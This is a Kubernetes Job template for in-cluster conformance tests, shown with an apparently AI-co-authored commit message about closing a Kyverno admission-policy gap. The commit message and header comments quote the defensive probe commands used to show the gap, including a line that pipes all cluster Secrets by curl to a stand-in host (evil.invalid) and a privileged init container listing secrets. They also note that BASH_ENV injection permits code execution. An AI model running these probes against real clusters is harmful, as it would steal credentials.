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home-network-k3s-impl/conformance/incluster/chainsaw-job.yaml
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jakman85andClaude Opus 5 f6e8fb1fee fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:02:16 -05:00

310 lines
19 KiB
YAML

# =============================================================================
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
metadata:
generateName: conformance-run-
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
app.kubernetes.io/part-of: conformance
spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
volumes:
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
- name: workspace
emptyDir: {}
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
- name: results
emptyDir: {}